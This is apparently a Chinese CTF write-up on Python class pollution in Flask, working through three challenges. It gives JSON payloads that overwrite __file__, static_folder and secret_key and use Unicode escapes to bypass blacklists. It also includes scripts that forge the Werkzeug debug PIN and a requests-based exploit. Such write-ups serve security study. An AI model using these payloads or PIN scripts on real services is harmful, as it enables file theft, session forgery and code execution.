NodeJs原型链污染中,对象的__proto__
属性,指向这个对象所在的类的prototype
属性。如果我们修改了son.__proto__
中的值,就可以修改父类。
在Python中,所有以双下划线__
包起来的方法,统称为Magic Method(魔术方法) ,它是一种的特殊方法,普通方法需要调用,而魔术方法不需要调用就可以自动执行。
__class__
方法用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 (题中可以不加)
__init__()
方法是一种特殊的方法,被称为类的构造函数或初始化方法(类似PHP中的__construct()),当创建了这个类的实例时就会调用该方法。
__globals__
对 保存函数全局变量的字典 的引用——定义函数的模块的全局命名空间。只读,但是可以修改无继承关系的类属性甚至全局变量
__file__
全局变量,返回当前文件路径(目录)
1 2 3 4 5 6 7 8 9 10 11 12 13 secret_var = 114 def test (): pass class a : def __init__ (self ): pass print (test.__globals__ == globals () == a.__init__.__globals__)
直接看题
[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__) app.secret_key = str (uuid.uuid4()) def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = [] @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
一眼merge函数考虑打原型链污染
查看调用
并且在最后发现直接回显全局变量__file__
1 2 3 @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read()
那么可以考虑直接污染__file__
的值
常见的linux系统下环境变量的路径:
1 2 3 4 5 6 7 /proc/1/environ (本题flag就在这里) /proc/selef/environ /etc/profile /etc/profile.d/*.sh ~/.bash_profile ~/.bashrc /etc/bashrc
放在proc目录(3,4)下的环境变量配置文件,只会对当前用户起作用;在/etc下的环境变量所有的用户都起作用;
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "username" : "aaa" , "password" : "bbb" , "__class__" : { "check" : { "__globals__" : { "__file__" : "/proc/1/environ" } } } } { "username" : "aaa" , "password" : "bbb" , "__init__" : { "__globals__" : { "__file__" : "/proc/1/environ" } } }
法二
1 2 3 4 5 6 7 8 9 10 11 { "username" : aaa, "password" : bbb, "__init\u005f_" : { "__globals__" : { "app" : { "_static_folder" : "/" } } } }
在 Python 中,全局变量 app
和 _static_folder
通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。
app
全局变量:
app
是 Flask 应用的实例,是一个 Flask
对象。通过创建 app
对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route
装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
app
对象包含了大量的功能和方法,例如 route
、run
、add_url_rule
等,这些方法用于处理请求和设置应用的各种配置。
通过 app.run()
方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
_static_folder
全局变量:
_static_folder
是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
在 Flask 中,可以通过 app.static_folder
属性来访问 _static_folder
,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static
文件夹中。
Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。
综上所述,app
和 _static_folder
这两个全局变量在 Flask 应用中都扮演着重要的角色,app
是整个应用的核心实例,用于处理请求和设置应用的配置,而 _static_folder
是用于指定静态文件的存放路径,使网页能够正确地加载和显示样式和图像。
/static/proc/1/environ
:由于”_static_folder”:”/“把静态目录直接设置为了根目录,所以根目录下/proc/1/environ
可以通过访问静态目录/static/proc/1/environ
访问。
法三
来自
DASCTF 2023 & 0X401七月暑期挑战赛 Web方向 EzFlask ez_cms MyPicDisk 详细题解wp-CSDN博客
访问/console
路由
PIN码
也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式
pin码生成要六要素:
1.username 通过getpass.getuser()读取或者通过文件读取/etc/passwd
2.modname 通过getattr(mod,“file”,None)读取,默认值为flask.app
3.appname 通过getattr(app,“name”,type(app).name)读取,默认值为Flask
4.moddir flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
6.machine_id 机器码,每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id
或/proc/sys/kernel/random/boot_id
,docker靶机则读取/proc/self/cgroup
,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取。一般生成pin码不对就是这错了
python3.6采用MD5加密,3.8采用sha1 加密。脚本们如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '25214234362297' , '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ '2485377581187' , '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
那就开始用 解法一 读取PIN值六要素
username :root
modname :默认值为flask.app
appname :默认值为Flask
moddir :/usr/local/lib/python3.10/site-packages/flask/app.py
uuidnode :4e:35:a1:94:9e:da
十进制是85992251104986
machine_id :96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope
其中,以docker
为界限。
96cec10d3d9307792745ec3b85c89620 在/proc/sys/kernel/random/boot_id
里面
docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope 在/proc/self/cgroup
里面
解题脚本来源:2023DASCTF&0X401 WriteUp (qq.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.10/site-packages/flask/app.py' ] private_bits = [ '85992251104986' , '96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455
运行结果:960-245-355
成功进入控制台
获取flag
(3条消息) 关于ctf中flask算pin总结_丨Arcueid丨的博客-CSDN博客
(3条消息) Flask debug模式算pin码_flask pin码_Ys3ter的博客-CSDN博客
ctfshow easy_polluted 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from flask import Flask, session, redirect, url_for,request,render_templateimport osimport hashlibimport jsonimport redef generate_random_md5 (): random_string = os.urandom(16 ) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest() def filter (user_input ): blacklisted_patterns = ['init' , 'global' , 'env' , 'app' , '_' , 'string' ] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5() class evil (): def __init__ (self ): pass @app.route('/' ,methods=['POST' ] ) def index (): username = request.form.get('username' ) password = request.form.get('password' ) session["username" ] = username session["password" ] = password Evil = evil() if request.data: if filter (str (request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else : merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html" ) @app.route('/admin' ,methods=['POST' , 'GET' ] ) def templates (): username = session.get("username" , None ) password = session.get("password" , None ) if username and password: if username == "adminer" and password == app.secret_key: return render_template("flag.html" , flag=open ("/flag" , "rt" ).read()) else : return "Unauthorized" else : return f'Hello, This is the POLLUTED page.' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
不难看出只需将app.secret_key污染成我们想要的值即可
经典merge函数,对于merge函数进行分析,整体就是实现一个合并功能
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
__getitem__
是一个魔法函数
当对一个对象使用 obj[key] 语法时,Python 会自动调用 obj.__getitem__(key)
方法。
这使得自定义对象可以像内置的容器(如列表、字典)一样使用索引。
1 2 3 4 5 6 7 8 9 class MyContainer : def __init__ (self ): self.data = [1 , 2 , 3 ] def __getitem__ (self, index ): return self.data[index] container = MyContainer() print (container[0 ])
1 2 3 4 5 6 7 8 9 10 11 12 { "username" : "adminer" , "password" : "123" , "__init__" : { "__globals__" : { "app" : { "secret_key" : "123" , "_static_folder" : "/" } } } }
有waf,用unicode绕过(json.loads可以加载unicode)
1 {"username":"adminer","password":"123","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{"\u0061\u0070\u0070" :{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "123","\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}}
另附官方题解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import requestsimport jsondef poc_1 (session, url ): headers = { "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Content-Type" : "application/json" , "Host" : "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show" } res = session.post(url=url, headers=headers, data=json.dumps({ r"\u005F\u005F\u0069nit\u005F\u005F" : { r"\u005F\u005F\u0067lobals\u005F\u005F" : { r"\u0061pp" : { "config" : { r"SECRET\u005FKEY" : "Dragonkeep" } } } } }), verify=False ) return res.text def poc_2 (session, url ): headers = { "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Content-Type" : "application/json" , "Host" : "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show" } res = session.post(url=url, headers=headers, data=json.dumps({ r"\u005F\u005F\u0069nit\u005F\u005F" : { r"\u005F\u005F\u0067lobals\u005F\u005F" : { r"\u0061pp" : { r"jinja\u005F\u0065nv" : { r"variable\u005Fstart\u005F\u0073tring" : "[#" , r"variable\u005Fend\u005F\u0073tring" : "#]" } } } } }), verify=False ) return res.text def poc_admin (session, url ): url = url + "/admin" headers = { "Host" : "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show" , 'Cookie' : 'session=eyJwYXNzd29yZCI6IkRyYWdvbmtlZXAiLCJ1c2VybmFtZSI6ImFkbWluZXIifQ.ZoPoJw.XozJYtjOp2mah8LEEoPZZzdIjzc' } res = session.post(url=url, headers=headers, data=json.dumps({ r"\u005F\u005F\u0069nit\u005F\u005F" : { r"\u005F\u005F\u0067lobals\u005F\u005F" : { r"\u0061pp" : { r"jinja\u005F\u0065nv" : { r"variable\u005Fstart\u005F\u0073tring" : "[#" , r"variable\u005Fend\u005F\u0073tring" : "#]" } } } } }), verify=False ) return res if __name__ == '__main__' : url = "http://fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show/" session = requests.Session() result1 = poc_1(session, url) print (result1) result2 = poc_2(session, url) print (result2) flag = poc_admin(session, url) print (flag.text)
[GHCTF 2024 新生赛]Po11uti0n~~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport json''' @Author: hey @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits. * Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love. ''' app = Flask(__name__) app.secret_key = str (uuid.uuid4()) def cannot_be_bypassed (data ): for i in black_list: if i in data: return False return True def magicallllll (src, dst ): if hasattr (dst, '__getitem__' ): for key in src: if isinstance (src[key], dict ): if key in dst and isinstance (src[key], dict ): magicallllll(src[key], dst[key]) else : dst[key] = src[key] else : dst[key] = src[key] else : for key, value in src.items() : if hasattr (dst,key) and isinstance (value, dict ): magicallllll(value,getattr (dst, key)) else : setattr (dst, key, value) class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = [] @app.route('/user/register' ,methods=['POST' ] ) def register (): if request.data: try : if not cannot_be_bypassed(request.data): return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" User = user() magicallllll(data, User) Users.append(User) except Exception: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" return "Congratulations,The username and password is correct,Register Success!!!" else : return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" @app.route('/user/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "The username or password is incorrect,Login Failed,Please log in again!!!" for user in Users: if user.cannot_be_bypassed(data): session["username" ] = data["username" ] return "Congratulations,The username and password is correct,Login Success!!!" except Exception: return "The username or password is incorrect,Login Failed,Please log in again!!!" return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8080 )
法一
payload
1 { "username" : "abc" , "password" : "123" , "__class__" : { "check" : { "__globals__" : { "__file__" : "/proc/1/environ" } } } }
1 { "username" : "abc" , "password" : "123" , "\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" : { "\u0063\u0068\u0065\u0063\u006b" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f" : "\u002f\u0070\u0072\u006f\u0063\u002f\u0031\u002f\u0065\u006e\u0076\u0069\u0072\u006f\u006e" } } } }
法二
1 { "username" : "ten" , "password" : "123456" , "__init__" : { "__globals__" : { "app" : { "_static_folder" : "/" } } } }
unicode
1 { "username" : "ten" , "password" : "123456" , "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u0061\u0070\u0070" : { "\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072" : "/" } } } }
访问/static/xxx就可以任意文件下载